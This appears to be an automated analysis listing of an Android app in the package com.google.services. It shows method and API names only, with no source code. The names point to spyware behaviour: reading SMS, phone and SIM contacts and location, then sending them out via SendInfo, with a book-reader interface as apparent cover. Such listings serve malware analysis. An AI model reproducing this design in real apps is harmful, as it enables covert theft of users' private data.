API: java.lang.StringBuilder->append | Show source |
---|
API: android.telephony.SmsMessage->getMessageBody | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.os.Bundle-><init> | Show source |
---|
API: android.os.Bundle->putString | Show source |
---|
API: android.content.Intent->putExtras | Show source |
---|
API: android.content.Context->sendBroadcast | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: android.os.Bundle->containsKey | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: java.lang.String->toString | Show source |
---|
API: android.os.Bundle->containsKey | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.os.Bundle->get | Show source |
---|
API: java.lang.Object->toString | Show source |
---|
API: android.os.Bundle->containsKey | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.os.Bundle->get | Show source |
---|
API: java.lang.Object->toString | Show source |
---|
API: android.os.Bundle->containsKey | Show source |
---|
API: android.os.Bundle->get | Show source |
---|
API: java.lang.Object->toString | Show source |
---|
API: com.google.services.sendReceiver$1-><init> | Show source |
---|
API: com.google.services.sendReceiver$1->start | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: com.google.services.sendReceiver->access$000 | Show source |
---|
API: com.google.services.sendReceiver->access$100 | Show source |
---|
API: java.lang.Thread-><init> | Show source |
---|
API: java.lang.Thread-><init> | Show source |
---|
API: com.google.services.sendReceiver->access$000 | Show source |
---|
API: com.google.services.sendReceiver->access$100 | Show source |
---|
API: com.google.services.sendReceiver->access$000 | Show source |
---|
API: com.google.services.sendReceiver->access$100 | Show source |
---|
API: java.lang.Thread-><init> | Show source |
---|
API: com.google.services.sendReceiver->access$000 | Show source |
---|
API: com.google.services.sendReceiver->access$100 | Show source |
---|
API: java.lang.Thread-><init> | Show source |
---|
API: android.app.Activity->onCreate | Show source |
---|
API: com.google.services.turntest->requestWindowFeature | Show source |
---|
API: com.google.services.turntest->getWindow | Show source |
---|
API: android.view.Window->setFlags | Show source |
---|
API: com.google.services.PageWidget-><init> | Show source |
---|
API: android.graphics.Bitmap->createBitmap | Show source |
---|
API: android.graphics.Bitmap->createBitmap | Show source |
---|
API: android.graphics.Canvas-><init> | Show source |
---|
API: android.graphics.Canvas-><init> | Show source |
---|
API: com.google.services.turntest->getResources | Show source |
---|
API: android.graphics.BitmapFactory->decodeResource | Show source |
---|
API: com.google.services.turntest->getBaseContext | Show source |
---|
API: com.google.services.PageWidget->setBitmaps | Show source |
---|
API: com.google.services.PageWidget->setOnTouchListener | Show source |
---|
API: android.app.Activity-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: android.view.MotionEvent->getAction | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: com.google.services.PageWidget->abortAnimation | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: android.view.MotionEvent->getX | Show source |
---|
API: android.view.MotionEvent->getY | Show source |
---|
API: com.google.services.PageWidget->calcCornerXY | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: com.google.services.PageWidget->DragToRight | Show source |
---|
API: java.io.IOException->printStackTrace | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: com.google.services.PageWidget->setBitmaps | Show source |
---|
API: com.google.services.turntest->access$000 | Show source |
---|
API: com.google.services.PageWidget->doTouchEvent | Show source |
---|
API: java.io.IOException->printStackTrace | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.lang.String-><init> | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.io.InputStream->read | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: it.sauronsoftware.base64.Base64InputStream-><init> | Show source |
---|
API: java.io.FileInputStream-><init> | Show source |
---|
API: java.io.FileOutputStream-><init> | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.io.FileInputStream-><init> | Show source |
---|
API: java.io.FileOutputStream-><init> | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.lang.String-><init> | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.io.ByteArrayInputStream-><init> | Show source |
---|
API: java.io.ByteArrayOutputStream-><init> | Show source |
---|
API: java.io.ByteArrayInputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->toByteArray | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.io.ByteArrayInputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->close | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.io.ByteArrayInputStream-><init> | Show source |
---|
API: java.io.ByteArrayOutputStream-><init> | Show source |
---|
API: java.io.ByteArrayInputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->toByteArray | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: java.io.ByteArrayInputStream->close | Show source |
---|
API: java.io.ByteArrayOutputStream->close | Show source |
---|
API: java.io.FileInputStream-><init> | Show source |
---|
API: java.io.FileOutputStream-><init> | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.lang.String-><init> | Show source |
---|
API: java.lang.RuntimeException-><init> | Show source |
---|
API: it.sauronsoftware.base64.Base64OutputStream-><init> | Show source |
---|
API: it.sauronsoftware.base64.Base64OutputStream->commit | Show source |
---|
API: java.io.InputStream->read | Show source |
---|
API: java.io.IOException-><init> | Show source |
---|
API: java.lang.String->indexOf | Show source |
---|
API: java.io.IOException-><init> | Show source |
---|
API: java.io.IOException-><init> | Show source |
---|
API: java.io.InputStream->read | Show source |
---|
API: java.io.IOException-><init> | Show source |
---|
API: java.lang.String->indexOf | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: it.sauronsoftware.base64.Base64InputStream->acquire | Show source |
---|
API: java.io.InputStream-><init> | Show source |
---|
API: it.sauronsoftware.base64.Base64OutputStream-><init> | Show source |
---|
API: it.sauronsoftware.base64.Base64OutputStream->commit | Show source |
---|
API: java.io.OutputStream->close | Show source |
---|
API: java.io.OutputStream-><init> | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.lang.String->charAt | Show source |
---|
API: java.lang.String->charAt | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.io.OutputStream->write | Show source |
---|
API: java.lang.String->charAt | Show source |
---|
API: java.lang.String->charAt | Show source |
---|
API: it.sauronsoftware.base64.Base64OutputStream->commit | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.ConnectivityManager |
|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.ConnectivityManager |
|
Method: com.google.services.PhoneService.<init> | Show source |
---|
Method: com.google.services.AlarmService.<init> | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.alarmReceiver.<init> | Show source |
---|
Method: com.google.services.ScreenReceiver.<init> | Show source |
---|
Method: com.google.services.sendReceiver.<init> | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.BookPageFactory.openbook | Show source |
---|
Method: com.google.services.BookPageFactory.openbook | Show source |
---|
Method: com.google.services.ScreenReceiver.onReceive | Show source |
---|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Method: com.google.services.PhoneService.serviceInit | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.PageWidget.createDrawable | Show source |
---|
Method: com.google.services.turntest.onCreate | Show source |
---|
Method: com.google.services.turntest.onCreate | Show source |
---|
Method: com.google.services.turntest.onCreate | Show source |
---|
Method: com.google.services.turntest.onCreate | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.BookPageFactory.wilDraw | Show source |
---|
Method: com.google.services.PageWidget.onDraw | Show source |
---|
Method: com.google.services.BookPageFactory.wilDraw | Show source |
---|
Method: com.google.services.BookPageFactory.wilDraw | Show source |
---|
Method: com.google.services.BookPageFactory.wilDraw | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.BookPageFactory.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.BookPageFactory.pageUp | Show source |
---|
Method: com.google.services.BookPageFactory.pageDown | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageArea | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentBackArea | Show source |
---|
Method: com.google.services.PageWidget.drawNextPageAreaAndShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.drawCurrentPageShadow | Show source |
---|
Method: com.google.services.PageWidget.getCross | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.PageWidget.<init> | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
accuracy | java.lang.Integer |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Boolean |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
provider | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Long |
|
p2 | java.lang.Float |
|
p3 | com.google.services.AlarmService$1 |
|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.net.NetworkInfo |
|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.net.NetworkInfo |
|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.google.services.PhoneService.isConnect | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Name | Type | Value |
---|---|---|
uriString | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.Uri$StringUri |
|
Method: com.google.services.AlarmService.getSms | Show source |
---|
Name | Type | Value |
---|---|---|
uriString | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.Uri$StringUri |
|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Method: com.google.services.alarmReceiver.onReceive | Show source |
---|
Method: com.google.services.AlarmService.getPhoneContacts | Show source |
---|
Method: com.google.services.AlarmService.getSIMContacts | Show source |
---|
Method: com.google.services.ScreenReceiver.onReceive | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.sendInfo | Show source |
---|
Method: com.google.services.SendInfo.sendInfo | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.sendReceiver.onReceive | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.AlarmService$1.onLocationChanged | Show source |
---|
Method: com.google.services.AlarmService$1.onProviderDisabled | Show source |
---|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.location.LocationManager |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.alarmReceiver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.google.services.AlarmService.updateWithNewLocation | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Method: com.google.services.AlarmService.onStart | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Method: com.google.services.AlarmService.onCreate | Show source |
---|
Method: com.google.services.AlarmService.access$000 | Show source |
---|
Method: com.google.services.PageWidget.calcPoints | Show source |
---|
Method: com.google.services.PageWidget.calcPoints | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.doTouchEvent | Show source |
---|
Method: com.google.services.PageWidget.computeScroll | Show source |
---|
Method: com.google.services.turntest.onCreate | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.sendReceiver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.PhoneService.serviceInit | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.google.services.PhoneService.onCreate | Show source |
---|
Method: com.google.services.PhoneService$1.run | Show source |
---|
Method: com.google.services.sendReceiver$3.run | Show source |
---|
Method: com.google.services.sendReceiver$1.run | Show source |
---|
Method: com.google.services.sendReceiver$4.run | Show source |
---|
Method: com.google.services.sendReceiver$2.run | Show source |
---|
Method: com.google.services.sendReceiver$3.run | Show source |
---|
Method: com.google.services.sendReceiver$1.run | Show source |
---|
Method: com.google.services.sendReceiver$4.run | Show source |
---|
Method: com.google.services.sendReceiver$2.run | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.turntest$1.onTouch | Show source |
---|
Method: com.google.services.ScreenReceiver.isServiceRunning | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.ActivityManager |
|
Method: com.google.services.ScreenReceiver.isServiceRunning | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.ActivityManager |
|
Method: com.google.services.turntest.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.PageWidget |
|
Method: com.google.services.ScreenReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: it.sauronsoftware.base64.Base64OutputStream.<init> | Show source |
